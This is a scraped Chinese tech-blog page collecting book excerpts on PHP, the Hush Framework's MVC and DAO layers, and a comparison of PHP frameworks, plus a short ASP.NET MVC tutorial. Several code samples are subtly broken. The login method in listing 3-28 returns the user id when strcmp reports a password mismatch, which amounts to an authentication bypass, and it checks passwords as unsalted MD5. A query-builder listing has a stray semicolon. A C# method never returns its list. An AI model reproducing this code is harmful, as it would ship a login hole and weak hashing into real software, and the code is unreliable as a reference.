以上代码大部分是比较简单的HTML语法，穿插了一些Smarty的变量，比如“{$_root}”就是设置好的全局的Smarty的变量，代表项目URL的根路径，默认是“/”。另外，在该模板里我们还看到了登录表单的代码“”，这里我们可以发现该登录表单将会被提交至“/auth/login”路径，其对应逻辑就在前面我们分析过的控制层中AuthPage类的loginAction方法里。模型层（Model）模型层是MVC三层中最接近数据库的一层，里面放的是数据操作的逻辑，也就是说我们常说的CRUD操作，这部分也是我们需要重点了解的。在前面的登录界面的示例中，我们了解到loginAction中使用到了DAO类Core_User里面的authenticate方法，下面我们截取Core_User里面的相关代码给大家讲解一下，见代码清单3-28。 小贴士：CRUD操作是添加（Create）、查询（Retrieve）、更新（Update）和删除（Delete）的缩写，也就是我们常说的“增删查改”方法，这几个操作基本包含了数据操作类DAO绝大部分的使用方式，后面我们也会经常提到。代码清单　3-28 /** * @package Ihush_Dao_Core */ class Core_User extends Ihush_Dao_Core { /** * 设置表名 * @static */ const TABLE_NAME = 'user'; /** * 设置主键 * @static */ const TABLE_PRIM = 'id'; /** * Initialize */ public function __init () { $this->t1 = self::TABLE_NAME; $this->t2 = Core_Role::TABLE_NAME; $this->rsh = Core_UserRole::TABLE_NAME; // 绑定常用CRUD操作 $this->_bindTable($this->t1); } /** * 登录验证方法 * @uses Used by user login process * @param string $user 用户名 * @param string $pass 密码 * @return bool or array */ public function authenticate ($user, $pass) { $sql = $this->select() ->from($this->t1, "*") ->where("name = ?", $user); $user = $this->dbr()->fetchRow($sql); if (!$user['id'] || !$user['pass']) return false; if (strcmp($user['pass'], Hush_Util::md5($pass))) return $user['id']; $sql = $this->select() 　->from($this->t2, "*") 　->join($this->rsh, "{$this->t2}.id = {$this->rsh}.role_id", null) 　->where("{$this->rsh}.user_id = ?", $user['id']); $roles = $this->dbr()->fetchAll($sql); if (!sizeof($roles)) return false; foreach ($roles as $role) { 　$user['role'][] = $role['id']; 　$user['priv'][] = $role['alias']; } return $user; } ... } 接下来，我们来分析一下Core_User类中使用到的几个功能要点，并以此为实例给大家介绍一下Hush Framework中模型层的核心用法，也就是框架DAO基类中已经封装好的数据库常见操作的编码和使用。（1）DAO类的初始化在Hush Framework中使用DAO类，首先需要配置一个和数据表相对应的DAO类，这个过程我们通常称为DAO类的初始化。其实配置一个DAO类是非常方便的，因为框架DAO基类已经帮我们封装好了绝大部分DAO类所需要的逻辑和方法，所以初始化起来非常简单。代码清单3-29就是一个最简单的DAO类的范例模板。代码清单　3-29 // DbName为数据库名 // TableName为数据表名 class DbName_TableName extends Dao_DbName { // 配置表名 const TABLE_NAME = ' TableName '; // 配置主键名 const TABLE_PRIM = 'PrimaryKey'; // 初始化操作 public function __init () { // 绑定常用的CRUD操作 $this->_bindTable(TABLE_NAME); } } 我们可以看到，区区几行代码就已经把一个DAO类写好了。以上代码中的DbName表示数据库名，TableName表示表名，PrimaryKey则表示主键名，__init是初始化方法，__bindTable主要用于绑定CRUD方法，也就是说，初始化之后我们就可以直接使用这个DAO类来进行“增删查改”操作了。（2）DAO类中的查询方法查询应该是数据库最主要的用途之一，这里我们会重点讲解在Hush Framework的DAO类中使用查询的要点。从前面提到的Core_User数据操作类中的authenticate方法中我们可以看到在DAO类中经常使用到的查询（select）方法的使用范例，包括普通查询和表关联查询，示例见代码清单3-30。代码清单　3-30 … // 普通查询 $sql = $this->select() ->from($this->t1, "*") ->where("name = ?", $user); $user = $this->dbr()->fetchRow($sql); … // 表关联查询 $sql = $this->select() ->from($this->t2, "*") ->join($this->rsh, "{$this->t2}.id = {$this->rsh}.role_id", null) ->where("{$this->rsh}.user_id = ?", $user['id']); $roles = $this->dbr()->fetchAll($sql); 在Hush Framework中，我们可以使用和Zend Framework类似的方式来“拼装”数据库SQL查询语句，其代码语法还是比较容易理解的，我们可以把其中的select方法、from方法、where方法以及join方法分别理解为SQL语句中的SELECT、FROM、WHERE以及JOIN这几个关键词，理解起来会更加清晰。当然除了以上这几个方法之外，框架底层还提供了LIMIT、GROUP BY和ORDER BY等常用SQL语句的对应方法。比如代码清单3-31中例举的就是一些相对复杂的SQL语句所对应的PHP代码的写法。代码清单　3-31 // 对应标准SQL： // SELECT COUNT(id) AS count_id // FROM foo // GROUP BY bar, baz // HAVING count_id > "1" $select = $db->select() ->from('foo', 'COUNT(id) AS count_id') ->group('bar, baz') ->having('count_id > ?', 1); // 对应标准SQL： // SELECT * FROM round_table // ORDER BY noble_title DESC, first_name ASC $select = $db->select(); ->from('round_table', '*') ->order('noble_title DESC') ->order('first_name'); 当然，我们需要理解Hush Framework的这种使用方法来替代SQL语句的做法，因为对于不同的数据库，查询语句区别是比较大的，如果没有一个很好的通用SQL语句的引擎很难做到良好的通用性，然而这却恰恰是本框架的优势所在；正是因为有底层的Zend_Db来提供强大的基础，才能让Hush Framework的模型层运转得更加得心应手。为了说明这点，我们以代码清单3-32为例，可以看到同样的DAO查询语句在不同的数据库中被解释成了不同的SQL；这样我们就不需要关心应用所使用的数据库类型，简便地写出通用型的代码，大大提高了模型层代码的重用性。代码清单　3-32 // 在 MySQL/PostgreSQL/SQLite 中，对应 SQL 如下： // SELECT * FROM foo // ORDER BY id ASC // LIMIT 10 // // 在 Microsoft SQL 中，对应 SQL 如下： // SELECT TOP 10 * FROM FOO // ORDER BY id ASC $select = $db->select() ->from('foo', '*') ->order('id') ->limit(10); 此外，我们还需要注意一点，Hush Framework中的数据库类都是支持读写分离的，因此这里我们使用“dbr()->fetchRow(...)”方法（dbr是只读数据库db-read的缩写）来表示从“读库”中获取内容，一般来说数据查询操作中的绝大部分情况都会使用此方法；当然与之相对的，如果我们要写入数据的话，则应该使用dbw方法来操作“写库”，比如“dbw()->delete(...)”就是在“写库”中删除信息的写法。（3）DAO类中的CRUD方法前面我们已经介绍了DAO类中查询操作的用法，以及Hush Framework中对于数据库读写分离用法的使用要点，对于查询操作来说我们应该使用读库，但是对于CRUD中的其他几种操作来说就应该使用写库了，也就是使用“dbw()”方法进行调用，下面我们把除了select之外的几种方法给大家介绍一下。 create方法：此方法用于创建数据，只要传入的是包含数据的散列数组，我们就可以在数据表中添加一条记录。这里需要注意的是，我们在CRUD方法中传递的数据格式经常是类似“array(key1=>value1,key2=>value2...)”格式的数组，key是键名，对应的是数据表的字段名，而value则是数据，代表的是对应键名的数据。 exist方法：此方法用于来检测数据是否存在，一般来说我们可以传入主键值进行判断，当然如果我们需要根据其他字段的值来进行判断也是可以的，只需要在第二个参数传入对应字段名即可。 read方法：此方法也是和主键相关的，用于读取与对应主键相关的数据行。因为此方法不需要组装SQL，使用起来比select方法简单许多，所以在获取与主键有关的数据行的情况下我们常用它来替代select方法。如果不使用主键，我们也可以在第二个参数传入对应字段名。 update方法：此方法用于更新数据行，既可直接传入带主键的数组进行更新（此种情况将会按照主键值更新对应数据行）。当然，我们也可以在第二个参数传入where语句进行更新。 delete方法：此方法用于删除数据行，与前面的update方法类似，我们既可直接传入主键值进行删除（此种情况将会按照主键值删除对应行）。当然，我们也可以在第二个参数传入对应字段名。 replace方法：此方法用于替换数据行，在MySQL数据库中比较常用，一般我们替换的数据行也是和主键有关系的，或者是组合型主键。到这里，我们已经把整个代码示例“登录界面”的逻辑介绍完了，同时也把Hush Framework中如何使用MVC的思路来进行编程的基本方法讲了一遍，现在大家应该对如何使用Hush Framework来进行开发心里有数了吧。由于Hush Framework是完全面向对象的，这里大家还可以学到许多PHP语言中的面向对象编程的技巧。当然最好的学习方法就是动手，我建议大家把框架的实例代码架设起来，然后直接动手边调试边学习，以达到“学以致用”的最佳效果。另外，关于如何获取Hush Framework框架源码以及如何部署源码实例的内容，我们会在附录A中给大家做详细介绍。
文章
JavaScript · 前端开发 · PHP · 数据库 · Android开发
2017-08-01
《Android和PHP开发最佳实践 》一3.4　常用PHP开发框架
3.4　常用PHP开发框架 随着互联网应用的发展，我们过去依靠原生PHP代码进行编程的路已经走不通了。因为，随着代码逻辑越来越复杂，如果没有一个好的框架来管理和组织代码，乱七八糟的巨量代码最终必将把整个项目毁掉，这也是我们在项目结束之后还要花那么大的资源和精力对代码进行不断优化和重构的原因。当然，如果我们在项目开始时就采用一个比较好的框架进行开发，不仅可以让以后的功能扩充变得更加简单，还可以为日后的代码维护减少工作量。目前市面上流行的PHP框架非常多，接下来我们会对其中比较有代表性的几个框架做一些介绍和对比。 Zend Framework（http://framework.zend.com/）Zend Framework简称ZF，是PHP的官方框架，优点是功能强大、结构松散、封装完善，很适合作为二次开发的基础框架，它包含了几乎所有你能想到的关于互联网方面的功能类库。当然，ZF的类库包也很大，框架类库就将近20MB，当然其中大部分我们是用不到的。虽然ZF看起来比较“笨重”，但是它所提供给开发者的自由度是其他框架所不能比较的，针对那些需求比较灵活或者结构比较复杂的大型项目而言，ZF确实不失为一个很好的选择。 笔者建议大家去深入学习ZF框架，最好是能把ZF的主要逻辑和类库的代码读一遍，因为从中你不仅可以学到很多PHP语言的编程技巧，还可以学到很多有用的“设计模式”以及“封装”的技巧，这些知识和经验都会对大家今后的编程之路大有裨益。此外，本书实战篇中的项目实例将会使用一个基于ZF的框架Hush Framework来进行开发，因此学习ZF对大家来说也是非常必要的。当然，由于本书的篇幅限制，我们不可能在这里把ZF全部给大家讲一遍，但是我们在3.6节中在对Hush Framework进行讲解时会涉及ZF框架的一些内容，建议大家认真阅读和体会，相信其中的知识会对深入学习ZF框架有很大帮助。小贴士：本书的“封装”指的是一种基于面向对象思想的组织代码的方法，后面会多次提到这个概念，大家在阅读时可以注意一下。 CodeIgniter（http://codeigniter.com）CodeIgniter（CI）也是一个比较老牌的PHP框架，和ZF相反，它非常小巧，核心类库仅有1MB左右，使用起来比较简单，代码框架遵循常见的MVC结构；但是CI的类库封装得还不够精细，某些框架层次感觉设计得过于繁琐；另外，我认为CI的文档做得不是很好，特别是中文的文档，当然这可能是多种原因造成的，但是不可否认的是，这个问题大大阻碍了CI框架在国内的普及。 CakePHP（http://cakephp.org/）CakePHP是一个典型的仿RoR类型的框架，它的脚手架（scaffold）功能还不错，也非常的小巧，类库相对来说设计得主流化一点，但是模板支持部分还做得不够好，另外系统设计的耦合度比较高，如果遇到一些大型项目会有点棘手，比如需要分库分表，以CakePHP目前的做法会比较麻烦。 ThinkPHP（http://www.thinkphp.cn/）ThinkPHP是必须要介绍的，是近几年出现的比较优秀的产品之一。整体来说，ThinkPHP很快，几乎是所有PHP框架中最快的；也很小巧，所有的类包加起来才几百KB；在设计方面相对比较松散，易于学习；另外，文档也相当完善，确实是近年来出现的一个不错的PHP框架，但是面对大型项目同样有一些不方便的地方。 当然，面对如此多的PHP框架，到底应该学习哪一个呢？我们可以这样考虑：如果你只想快速地开发出一个应用，那么可以选择Think、Cake或者CI等敏捷型的开发框架；但是，如果你想要更深入地学习PHP语言，甚至PHP中的各种设计模式，请选择ZF。当然，在后面的章节中，我们将会向大家介绍一个基于ZF和Smarty的PHP开发框架，也就是Hush Framework。
文章
PHP · Android开发
2017-08-01
初识MVC
        mvc，英文名叫Model View Controller，是模型(model)－视图(view)－控制器(controller)的缩写，一种软件设计典范，用一种业务逻辑、数据、界面显示分离的方法组织代码，将业务逻辑聚集到一个部件里面，在改进和个性化定制界面及用户交互的同时，不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。        初次遇见你--MVC小编总是会把你和以前学习过的三层和设计模式弄混，再此，小编查阅相关资料，接着，小编就对这些相似的知识点进行简单对比：        mvc  pk  三层        三层架构界面层，业务逻辑层和数据访问层，很多人就通mvc里面的三个核心部件同三层架构等同起来，认为界面层等于View，业务逻辑层等于Controller，数据访问层等于Model，这是完全错误的，mvc设计模式解决的是页面代码，页面控制逻辑和数据耦合的问题，所以她首先属于界面层，比如mvc和structs都是界面层框架，mvc里面的controller是负责对界面进行控制的，比如，页面间跳转，显示逻辑等，三层架构里的业务逻辑层主要是对业务实体数据的加工，把加工后的数据传给页面显示，mvc里面的model只是数据实体，不具备增删改查的功能，她接收的数据是从业务逻辑层处理好传过来的数据，而三层架构里面的数据访问层是具有增删改查功能的，是直接对数据库操作的，为业务逻辑层提供数据支持，切忌mvc只是三层里面的界面层，不要混淆了哦。         mvc pk 设计模式         有很多小伙伴往往把框架模式和设计模式混淆，认为MVC是一种设计模式。实际上她们完全是不同的概念。 框架、设计模式这两个概念总容易被混淆，其实它们之间还是有区别的。框架通常是代码重用，而设计模式是设计重用，架构则介于两者之间，部分代码重用，部分设计重用，有时分析也可重用。在软件生产中有三种级别的重用：内部重用，即在同一应用中能公共使用的抽象块;代码重用，即将通用模块组合成库或工具集，以便在多个应用和领域都能使用；应用框架的重用，即为专用领域提供通用的或现成的基础结构，以获得最高级别的重用性。        框架与设计模式虽然相似，但却有着根本的不同。设计模式是对在某种环境中反复出现的问题以及解决该问题的方案的描述，它比框架更抽象；框架可以用代码表示，也能直接执行或复用，而对模式而言只有实例才能用代码表示;设计模式是比框架更小的元素，一个框架中往往含有一个或多个设计模式，框架总是针对某一特定应用领域，但同一模式却可适用于各种应用。可以说，框架是软件，而设计模式是软件的知识。         框架模式有哪些？         MVC、MTV、MVP、CBD、ORM等等；        框架有哪些？        C++语言的QT、MFC、gtk，Java语言的SSH 、SSI，php语言的 smarty(MVC模式)，python语言的django(MTV模式)等等         设计模式有哪些？         工厂模式、适配器模式、策略模式等等简而言之：框架是大智慧，用来对软件设计进行分工；设计模式是小技巧，对具体问题提出解决方案，以提高代码复用率，降低耦合度。介绍完了大家的的区别和联系之后，回到今天博文的主角mvc，接着小编就来做一个简单的入门例子。         第一步：创建一个mvc的例子，如下图所示：                 第二步：选择Internet应用程序：                  接着，我们就开始编写代码，在model中新建一个Dog类，用于模拟数据，代码如下所示：          <span style="font-size:18px;"><span style="font-size:18px;">using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace mvcTest.Models { public class Dog { public int ID { get; set;} public string Name{ get; set;} public override string ToString() { return "ID=" + this.ID + ",Name=" + this.Name; } } }</span></span>         第三步：在Controllers文件夹下新建一个控制器，用于从获取数据，添加控制器的方法，右击Controllers，添加控制器即可，代码如下所示：          <span style="font-size:18px;"><span style="font-size:18px;">using mvcTest.Models; using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace mvcTest.Controllers { //控制器类（继承了Controller） public class HomeController : Controller { #region 初始化数据集合+void InitData() /// <summary> /// 初始化数据集合 /// </summary> public List<Models.Dog> InitData() { List<Models.Dog> list = new List<Models.Dog>() { new Dog(){ID=1,Name="小样1~~"}, new Dog(){ID=2,Name="小样2~~"}, new Dog(){ID=3,Name="小样3~~"}, new Dog(){ID=4,Name="小样4~~"} }; } #endregion //Action方法（可是看成是mvc设计模式的 Model） public ActionResult Index() { System.Text.StringBuilder sbHtml = new System.Text.StringBuilder(4000); //处理当前业务（比如读取数据库，判断等） //创建一个数据集合（伪数据）,获取数据 List<Models.Dog> list = InitData(); //遍历集合，生成html代码，存入sbHtml list.ForEach(d => { sbHtml.AppendLine("<div>" + d.ToString() + "</div>"); }); //使用ViewBag传输数据给同名 Index.cshtml视图 //ViewBag是一个dynamic类型集合，可以动态添加任意类型的任意名称的属性和值 ViewBag.HtmlStr = sbHtml.ToString(); return View(); } } } </span></span>         第四步：添加视图，代码如下所示：          <span style="font-size:18px;"><span style="font-size:18px;">@{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>Index</title> </head> <body> <!--相当于把Action方法中保存的内容，放在此处输出! 默认Razor视图会将从后台输出的字符串里保护的《转义成&1t； 为了不转义，使用Row方法，来输出html标签源码!--> @Html.Raw(ViewBag.HtmlStr) </body> </html> </span></span>         至此，一个简单的mvc的例子就完成了。        小编寄语：该博文，小编简单的介绍了一下mvc的基础知识，以及使用mvc敲了一个简单的例子，并且对mvc和三层，以及mvc和以前学习过的设计模式进行了简单的对比，通过对mvc的学习，小编对这块知识的理解又加深了一点点，档案管理项目，未完，待续......   
文章
前端开发 · 设计模式 · 数据库 · Python · PHP · C++ · Java · 搜索推荐 · 网络安全
2015-02-15
《Android和PHP开发最佳实践》一3.1　PHP开发基础
3.1　PHP开发基础 编写本章之前，笔者在考虑一个问题，那就是“如何把一本书的内容压缩到短短的一章中”。这确实是一个难题！但是，虽然篇幅有限，本书还是会尽量使用最简洁明了的语言和最易于理解的实例，来帮助大家以最快的速度认识和了解PHP的开发。 3.1.1　PHP语言简介 PHP（Hypertext Preprocessor）是目前最流行的服务端脚本语言之一。近年来，随着互联网的飞速发展，使用PHP语言进行互联网应用开发也变得逐渐火热起来，其特点是简单、快速、灵活，主要应用于各大门户网站、主流CMS平台以及Web 2.0网络应用中，包括Google、Yahoo、Facebook、Zynga在内的互联网巨头们也都大规模地使用PHP作为其主要的编程语言。那么，PHP究竟能用来做什么呢？一般来说，PHP在实际项目的应用过程中有以下两种主要的使用方式。 用于后台脚本编程，即以命令行（CLI）的方式执行由于PHP的语法和Linux Shell语言有点类似，而使用起来却要比Shell强大且方便得多，所以我们经常使用PHP作为后台可执行脚本的解决方案。这种方式下的PHP脚本，我们也常称之为CLI（Command-Line Interface）脚本。 用于网络应用编程，即以mod_php或fastCGI的方式执行简单说就是用于开发网站或者互联网应用，这也是PHP最主要的使用方式。在这种方式中，PHP经常和其他的一些服务端组件结合使用，比如在著名的LAMP架构里，PHP就是与Apache服务器、MySQL数据库组成了互联网应用服务端开发的铁三角。PHP的这种使用方式通常被称为网络（Web）脚本模式。 小贴士：LAMP即Linux、Apache、MySQL以及PHP/Perl/Python相结合的服务端解决方案，也是目前最强大的互联网应用解决方案之一，占据了全球的网站70%以上的市场。简单易用、性能强劲、完全免费这三个特点是LAMP为何如此受欢迎的原因之一。 3.1.2　PHP语法简介 了解过PHP语言的用途，接下来我们来看看如何使用PHP。首先，来学习一下PHP基本语法中的重点部分，以下就是“精简版”的PHP语法总结。当然，如果读者已经有过一些其他主流语言的编程经验，比如Java、C++等，那么笔者建议学习时，可以将PHP的语法与这些已经比较熟悉的语言进行对比学习，这样会事半功倍。 规范PHP代码部分需要用“<?php … ?>”符号框起来，这也表明你可以把PHP代码块嵌入到HTML代码的任何位置，这种用法类似ASP或者JSP。 注释PHP中单行注释以“//”或者“#”符号开始，多行注释使用“/ … /”符号框起来，这点综合了Perl、C++以及Java语言的用法。 变量PHP的所有变量都以“$”符号开始，变量的命名规则与C++和Java语言的标准基本相同，例如：$_user是正确的，$@user就是错误的。另外，由于PHP是解释性语言，具有弱类型性，所以PHP的变量不需要声明类型，这点与Java和 C++这些编译型的强类型语言是不同的。 4.常量PHP使用define函数来定义常量，这点类似于C和C++语言。常量名我们一般都会使用全大写的字母，比如“define('CONSTANT', $constant);”这行代码就定义了一个值为$constant的CONSTANT常量。 函数自定义PHP的函数必须包含function关键字，比如“function hello () {...}”。此外，PHP语言的自带函数库是非常强大的，这点大家可以在日后使用中慢慢体会。 类定义定义PHP类的方法和Java基本一致，比如“public class User {...}”。另外，在PHP 5发布后，PHP的面向对象功能越加强大，具体可参考本章3.1.4节的内容。 允许文件中包含文件在PHP中允许包含其他的PHP文件，这样方便了我们进行代码的封装，一般来说使用require和include方法来包含。如果要避免重复包含的问题，则可以使用require_once和include_once方法。 命名空间对于大型的项目来说，命名空间（Namespace）的功能还是非常必要，使用命名空间可以减少因为类名或者函数名相同所带来的风险。在PHP的新版本中（PHP 5.3），已经支持namespace语法，比如“namespace CoreLib1”。 事实上，PHP的语法源自Perl语言，并融合了Java和C语言的部分优点，对于有一定编程基础的开发者来说上手非常快。首先，我们来观察一个PHP的Hello World程序，如代码清单3-1所示。代码清单　3-1 <?php // 打印字符串 echo "Hello World"; ?> 从这段代码中我们可以看到一个标准PHP脚本的写法、打印字符串的方法echo，以及单行注释的写法。小贴士：在实际开发时，我们经常把PHP文件最后的“?>”符号去掉，因为这样写不仅不会影响PHP的语法解释，还可以避免一些由于编辑器在文件的末尾处自动加上特殊字符，从而影响PHP解释和输出的问题。接下来，我们来分析代码清单3-2中的PHP的程序范例。代码逻辑非常简单，最前面定义了一个名为“USERNAME”的常量，接着定义了一个函数isJames()用于判断输入的参数是否等于“James”，最后打印函数的测试结果。很显然这段代码的运行结果是false，因为传入值和比较值的大小写是不一样的。代码清单　3-2 <?php // 常量定义 define('USERNAME', "James"); // 函数定义 function isJames ($username) { if (USERNAME == $username) { return true; } return false; } // 打印结果 var_dump(isJames("james")); ?> 以上代码包含了PHP语言中的注释、变量、常量以及函数等重要语法的使用方法，大家可以尝试在本地运行该脚本。运行方法很简单，直接使用php可执行文件执行即可，比如该php文件名为demo1.php，用户直接在系统命令行窗口中输入“php demo1.php”并运行即可。当然，在此之前我们还必须把php可执行文件的路径加入到系统环境变量中去，否则系统可能提示找不到php命令。代码清单3-2的运行结果如图3-1所示。 3.1.3　PHP开发起步 通过3.1.2节的学习，我们大致了解了PHP的基本语法，本节我们将进一步认识PHP语言。首先，我们来看看PHP语言的几个特色，也就是它和其他语言不大一样的地方。 预定义变量PHP提供大量的预定义变量，准确来说应该是预定义“数组”变量，用于存储来自服务器、运行环境和输入数据等动态信息，不同于其他语言使用对应的使用类包或者方法来获取的方式，相对来说PHP的这种方式更加简单直接。表3-1中列出了PHP语言中比较重要的预定义变量。 以上这些预定义变量都是我们在开发过程中经常使用到的，但是需要注意的是它们中某些变量的使用环境是有限制的，比如$_GET、$_POST以及$_SERVER变量在CLI模式下是没有作用的，因为CLI不运行在服务器环境里。关于这点我们已经在上表的“环境”一列中说明了，其中标注Web的表示只有在网络脚本模式下才能使用；CLI表示只工作在CLI脚本模式下；其他的预定义变量在两种模式下均可使用，但是数组的内容可能会不同。以下是一个使用预定义变量的例子，不像Java还需要使用request.getParameter()方法逐个获取GET参数，PHP会直接把所有的GET参数全部放到预定变量$_GET中，我们可以直接循环打印出来，如代码清单3-3所示。 代码清单　3-3 <?php $sp = "<br/>\n"; foreach ((array) $_GET as $k => $v) { echo "GET $k : $v".$sp; } ?> 由于这个脚本必须在Web模式下才能使用，因此我们需要把以上代码放入站点目录下，开启浏览器，运行结果如图3-2所示。 null、false、0和空字符串之间的关系在PHP中，如果一个变量没有赋值则为null，这点和Java类似；但是，PHP是一门“弱类型”的语言，因此对于PHP来说，null和false、0以及空字符串之间的关系有点特殊，如代码清单3-4所示。 代码清单　3-4 <?php // null and 0 echo "null==0 : "; echo var_dump(null==0); // null and '' echo "null=='' : "; echo var_dump(null==''); // null and false echo "null==false : "; echo var_dump(null==false); // null and 0 echo "null===0 : "; echo var_dump(null===0); // null and '' echo "null==='' : "; echo var_dump(null===''); // null and false echo "null===false : "; echo var_dump(null===false); ?> 以上脚本的运行结果如图3-3所示。我们来分析一下结果：首先，前3段代码说明了在PHP中null、false、0和空字符串之间是可以画等号的，这是因为它们在PHP都属于一种“非”类型，其他的“非”类型还包括空数组等；其次，看后3段代码，我们又可以发现，如果我们要区别这几个值也是可以做到的，在PHP中我们使用全等号便可以判别出它们之间的不同。我们在日常编码时一定要注意PHP的这个特性，如果随意乱用，很有可能会犯一些低级错误。 表3-2列出了PHP语言中对于“非”类型的汇总信息，大家在使用PHP的过程中一定要特别注意这些数值的使用方法。 魔术变量和魔术方法最初PHP魔术变量的出现主要是为了方便开发者调试PHP的代码；当然，我们也可以利用这些魔术变量来实现特殊需求。在写法方面，魔术变量前后都有两个下划线，接下来让我们来熟悉一下这些变量。 __LINE__：返回文件中的当前行号，我们在定位错误的时候经常用到。 __FILE__：返回当前文件的完整路径和文件名。自PHP 4.0.2起，__FILE__总是包含一个绝对路径（如果是符号连接，则是解析后的绝对路径）。__DIR__：返回当前文件所在的目录（PHP 5.3.0中新增）。如果用在被包括文件中，则返回被包括的文件所在的目录，等价于dirname(__FILE__)。除非是根目录，否则目录中名称不包括末尾的斜杠。__FUNCTION__：返回当前函数的名称（PHP 4.3.0中新增）。自PHP 5起本常量返回该函数被定义时的名字，大小写敏感。在PHP 4中该值总是小写字母的。__CLASS__：返回当前类的名称（PHP 4.3.0中新增）。自PHP 5起本常量返回该类被定义时的名字，大小写敏感。在PHP 4中该值总是小写字母的。__METHOD__：返回当前类的方法名（PHP 5.0.0中新增）。注意与__FUNCTION__的返回有所不同，大小写敏感。__NAMESPACE__：返回当前命名空间名（PHP 5.3.0中新增）。这个常量是在编译时定义的，大小写敏感。魔术方法主要是随着PHP的面向对象特性出现的（也就是在PHP 5之后），主要解决的是PHP在面向对象的思想中所遇到的一些特殊情况，写法方面和魔术变量类似，魔术方法使用两个下划线开头，接下来学习常用的魔术方法。__construct()：通用的类构造函数。__destruct()：通用的类析构函数。__get(string $name)：当试图读取一个并不存在的类属性时被调用。__set(string $name, mixed $value)：给未定义的类变量赋值时被调用。__call(string $name, array $arguments)：当调用一个不可访问类方法（如未定义或不可见）时，__call() 会被调用。__callStatic(string $name, array $arguments)：当调用一个不可访问的静态类方法时，__callStatic()方法会被调用。__toString()：当打印一个类对象时被调用，这个方法类似于Java的toString方法。__clone()：当类对象被克隆时调用。__sleep()：持久化一个类对象时，如果__sleep()方法存在则先被调用，然后才执行序列化操作。这个功能可以用于清理对象，比如你有一些很大的对象，不需要持久化，这个功能就很好用。__wakeup()：与__sleep()相反，在反持久化类对象时，如果存在__wakeup()方法，则使用该方法预先准备对象数据。__wakeup()可用在类似于重新建立数据库连接等初始化操作中。__isset()：当对未定义的类变量调用isset()或empty()时，__isset()会被调用。__unset()：unset一个对象的属性时被调用。如：unset($class->name)。__invoke()：当尝试以调用函数的方式调用一个对象时，__invoke()方法会被自动调用。__autoload()：区别于以上所有方法，__autoload()并非是一个类方法，而是一个全局方法。在实例化一个对象时，如果对应的类不存在，则该方法被调用，可用于类的自动加载。另外，别忘了所有的魔术方法都需要给予public属性。关于魔术变量和魔术方法的应用如代码清单3-5所示。代码清单　3-5 <?php class ClassA { // 私有变量 private $secret; // 给私有变量赋值 private function setSecret () { $this->secret = "my secrets"; } // 构造函数 public function __construct () { echo "CALL ".__METHOD__."\n"; $this->setSecret(); } // 析构函数 public function __destruct () { echo "CALL ".__METHOD__."\n"; } // 魔术方法 __get public function __get ($name) { echo "CALL __get:".$name."\n"; } // 魔术方法 __set public function __set ($name, $value) { echo "CALL __set:".$name.",".$value."\n"; } // 魔术方法 __call public function __call ($name, $arguments) { echo "CALL __call:".$name.",".print_r($arguments, true)."\n"; } // 魔术方法 __sleep public function __sleep () { echo "CALL ".__METHOD__."\n"; $this->secret = "unknown"; return array("secret"); } // 魔术方法 __wakeup public function __wakeup () { echo "CALL ".__METHOD__."\n"; $this->setSecret(); } } $a = new ClassA(); // 初始化 ClassA $a->attrA = "valueA"; // 赋值不存在的属性 attrA echo $a->attrB; // 获取不存在的属性 attrB $a->hello(1,2,3); // 调用不存在的方法 hello() $b = serialize($a); // 持久化 ClassA var_dump($b); // 打印持久化后的对象 $c = unserialize($b); // 反持久化 ClassA var_dump($c); // 打印反持久化后的对象 ?> 以上程序先定义了一个类ClassA，此类定义了一个$secret属性，还定义了我们上面介绍到的一些主要的魔术方法，接下来执行了以下步骤，我们来逐一分析。1）初始化 ClassA：调用构造函数__construct()，并对$secret变量赋值。2）赋值不存在的属性 attrA：调用魔术方法__set()。3）获取不存在的属性 attrB：调用魔术方法__get()。4）调用不存在的方法 hello()：调用魔术方法__call()。5）持久化 ClassA：调用魔术方法__sleep()，并隐藏$secret变量的值。6）反持久化 ClassA：调用魔术方法__wakeup()，并恢复$secret变量的值。7）最后回收对象：调用两次析构函数__destruct()，原因是这里产生了两个对象实例，$a和$c。该程序的最终运行结果如图3-4所示，大家可以结合上面的分析来思考。 小贴士：代码清单3-5中的print_r方法的功能主要用于打印PHP数组。 神奇的PHP数组记得多年以前有位做Java开发的同事曾经问过我这样一个问题：“为什么PHP的数组这么好用呢？”当时我觉得不以为然，不过现在回过头来想想，这个问题确实值得好好讨论一下。要解决这个问题，首先我们要理解一点：对于PHP来说，没有集合（Set）、栈（Stack）、列表（List）以及散列（Hash）的概念，所有这些常见的数据结构都在PHP的数组里面实现了。我们先来看一段关于PHP数组操作的代码，如代码清单3-6所示。 代码清单　3-6 <?php $arr = array(1,2,3); // 集合用法 echo '$arr[0]:'.$arr[0]."\n"; // 栈用法 array_push($arr, 4); echo '$arr:'.print_r($arr, true); array_pop($arr); echo '$arr:'.print_r($arr, true); // 列表用法 array_push($arr, 4); echo '$arr:'.print_r($arr, true); array_shift($arr); echo '$arr:'.print_r($arr, true); // 散列用法 $arr[3] = 5; echo '$arr[3]:'.$arr[3]."\n"; ?> 从代码中的注释可以看出，以上程序分别模拟了集合、栈（后进先出）、列表（先进先出）以及散列数组的用法，大家可以体会一下，该程序的运行结果如图3-5所示。 之前我们讨论的都是最为简单的一维数组，而在实际项目中我们经常使用的是其他组合形式的数组，比如，和数据库表结构所对应的“散列数组列表”的形式，下面我们再来看一个例子，见代码清单3-7。代码清单　3-7 <?php // 散列数组列表 $arr = array( array( "name" => "James", "sex" => "M", "age" => "28" ), array( "name" => "Iris", "sex" => "F", "age" => "27" ) ); ?> <table border=1 cellspacing=1 cellpadding=5> <tr><td>Name</td><td>Sex</td><td>Age</td></tr> <?php foreach ($arr as $row) { ?> <tr><td><?=$row["name"]?></td><td><?=$row["sex"]?></td><td><?=$row["age"]?></td></tr> <?php } ?> </table> 